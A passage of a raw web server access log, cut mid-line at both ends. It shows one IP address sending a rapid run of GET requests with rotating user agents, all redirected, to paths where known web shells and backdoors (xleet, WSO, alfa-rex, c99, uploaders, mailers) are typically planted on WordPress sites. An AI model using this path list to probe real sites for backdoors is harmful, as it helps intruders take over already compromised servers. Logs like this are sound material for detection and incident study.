[30/Apr/2025:23:34:24 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:24 -0400] "GET /thanks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:25 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:25 -0400] "GET /wp-content/themes/mero-megazines/ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:25 -0400] "GET /wp-content/themes/welfare-charity/www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:25 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:25 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:25 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:26 -0400] "GET /wp-content/themes/applica/400.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:26 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:26 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:26 -0400] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:26 -0400] "GET /wp-content/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:26 -0400] "GET /wp-includes/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:27 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:27 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:27 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:27 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:27 -0400] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:27 -0400] "GET /wp-content/plugins/column/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:28 -0400] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:28 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:28 -0400] "GET /wp-content/plugins/hellopress/0xlufix2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:28 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:28 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:28 -0400] "GET /loger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.36.126 - - [30/Apr/2025:23:34:29 -0400] "GET /gank.php.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:29 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:29 -0400] "GET /wp.php?Chitoge HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:34:29 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:34:29 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:30 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:30 -0400] "GET /wp-content/plugins/xwp/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:30 -0400] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:30 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:30 -0400] "GET /wp-content/plugins/instabuilder2/cache/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:34:30 -0400] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:31 -0400] "GET /wp-content/plugins/wpyii2/wpyii2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:31 -0400] "GET /wp-content/plugins/wpputty/wpputty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:31 -0400] "GET /wp-content/plugins/dos2unix/dos2unix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:31 -0400] "GET /wp-includes/sitemaps/providers/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:31 -0400] "GET /wp-includes/PHPMailer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:34:31 -0400] "GET /wp-admin/maint/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:32 -0400] "GET /wp-includes/IXR/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:34:32 -0400] "GET /wp-includes/images/crystal/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:32 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:32 -0400] "GET /wp-admin/css/colors/ocean/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:32 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:32 -0400] "GET /wp-admin/maint/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:33 -0400] "GET /wsoyanzfv3.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:34:33 -0400] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:33 -0400] "GET /wp-admin/css/acces.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:33 -0400] "GET /wp-includes/css/str_replace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:33 -0400] "GET /wp-admin/css/colors/midnight/strcmp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:34 -0400] "GET /wp-admin/includes/sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:34 -0400] "GET /wp-includes/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:34 -0400] "GET /wp-includes/images/crystal/option.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:34 -0400] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:34 -0400] "GET /wp-admin/images/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:34 -0400] "GET /wp-includes/server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.36.126 - - [30/Apr/2025:23:34:35 -0400] "GET /wp-admin/images/APLpewO.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:34:35 -0400] "GET /wp-admin/js/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:34:35 -0400] "GET /wp-admin/images/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:35 -0400] "GET /wp-admin/css/colors/blue/ovairezah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:34:35 -0400] "GET /wp-includes/pomo/xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:34:36 -0400] "GET /wp-includes/fonts/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:36 -0400] "GET /uploads/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:36 -0400] "GET /wp-content/uploads/2024/09/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:36 -0400] "GET /wp-admin/css/colors/midnight/fxtell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:36 -0400] "GET /files/mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:34:36 -0400] "GET /images/pushy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:34:37 -0400] "GET /wp-admin/css/colors/midnight/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:34:37 -0400] "GET /wp-admin/includes/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:37 -0400] "GET /wp-content/uploads/zi_whatisit___bea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:37 -0400] "GET /wp-includes/wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:37 -0400] "GET /images/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:37 -0400] "GET /wp-content/uploads/class.enhanced.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:38 -0400] "GET /wp-includes/ms-load-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:38 -0400] "GET /wp-admin/maint/Mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:38 -0400] "GET /images/photo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:38 -0400] "GET /images/g3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:38 -0400] "GET /wp-includes/miso-bold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:34:39 -0400] "GET /wp-includes/compats.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:39 -0400] "GET /wp-admin/network/wp-xZ2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:39 -0400] "GET /wp-admin/css/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:39 -0400] "GET /images/exif.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:39 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:39 -0400] "GET /wp-includes/email.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:40 -0400] "GET /uploads/phpimage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:40 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:40 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:34:40 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:34:40 -0400] "GET /wp-admin/maint/bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:41 -0400] "GET /wp-admin/css/sidebarg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:41 -0400] "GET /images/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:41 -0400] "GET /images/contact_en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:41 -0400] "GET /wp-admin/css/colors/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:34:41 -0400] "GET /wp-admin/maint/commentz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:42 -0400] "GET /wp-includes/Text/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:42 -0400] "GET /wp-includes/Text/Diff/Engine/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:34:42 -0400] "GET /wp-includes/Text/Diff/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:42 -0400] "GET /wp-admin/css/colors/blue/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:34:42 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:42 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:43 -0400] "GET /wp-includes/PHPMailer/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:43 -0400] "GET /wp-content/uploads/indax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:34:43 -0400] "GET /wp-includes/fonts/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:34:43 -0400] "GET /wp-admin/includes/logs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:43 -0400] "GET /files/careers.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:43 -0400] "GET /wp-admin/js/headert.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:44 -0400] "GET /wp-admin/css/sidebaru.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux 